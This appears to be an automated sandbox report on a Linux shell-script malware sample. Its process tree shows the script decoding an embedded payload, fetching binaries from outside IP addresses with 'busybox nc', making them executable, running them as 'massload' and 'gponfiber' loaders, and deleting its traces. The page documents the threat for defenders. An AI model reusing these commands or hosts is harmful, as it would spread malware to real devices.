Overview

overview

7

Static

static

1

a94f8a0485...end.sh

ubuntu-18.04-amd64

7

a94f8a0485...end.sh

debian-9-armhf

7

a94f8a0485...end.sh

debian-9-mips

7

a94f8a0485...end.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    2s
  • max time network
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 17:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
  • Size 832KB
  • Sample260913-wa8cza1bme
  • SHA256 329c5098ba38ed3103e78e687f55a1265b18706d8483a6a91bde0eed8c3a01f5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
    1⤵
      PID:646
    • /usr/local/sbin/bash
      bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
      1⤵
        PID:646
      • /usr/local/bin/bash
        bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
        1⤵
          PID:646
        • /usr/sbin/bash
          bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
          1⤵
            PID:646
          • /usr/bin/bash
            bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
            1⤵
              PID:646
            • /sbin/bash
              bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
              1⤵
                PID:646
              • /bin/bash
                bash /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh
                1⤵
                • Writes file to tmp directory
                PID:646
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:653
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:662
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:663
                    • /bin/chmod
                      chmod +x /tmp/tmp.ga37Exlooe/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:676
                  • /bin/bash
                    bash /tmp/tmp.ga37Exlooe/embedded.sh
                    1⤵
                    • Executes dropped EXE
                    • Writes file to tmp directory
                    PID:646
                    • /bin/rm
                      rm -rf me.apk help
                      2⤵
                        PID:677
                      • /bin/busybox
                        busybox nc 160.22.79.29 443
                        2⤵
                          PID:679
                        • /bin/busybox
                          busybox nc 192.206.117.19 443
                          2⤵
                            PID:687
                          • /bin/chmod
                            chmod 777 instd
                            2⤵
                            • File and Directory Permissions Modification
                            PID:688
                          • /tmp/instd
                            ./instd massload
                            2⤵
                              PID:689
                            • /bin/busybox
                              busybox nc 160.22.79.29 6767
                              2⤵
                                PID:692
                              • /bin/chmod
                                chmod 777 inst
                                2⤵
                                • File and Directory Permissions Modification
                                PID:694
                              • /tmp/inst
                                ./inst gponfiber
                                2⤵
                                  PID:695
                                • /bin/rm
                                  rm -rf a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_pre-append.sh inst instd me.apk systemd-private-424e0576c5b54516b45f1c6a30b7304e-systemd-timedated.service-IalXaP tmp.ga37Exlooe
                                  2⤵
                                    PID:705

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      embedded.sh
                                      • Path /tmp/tmp.ga37Exlooe/embedded.sh
                                      • Size 972B
                                      • SHA256 a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download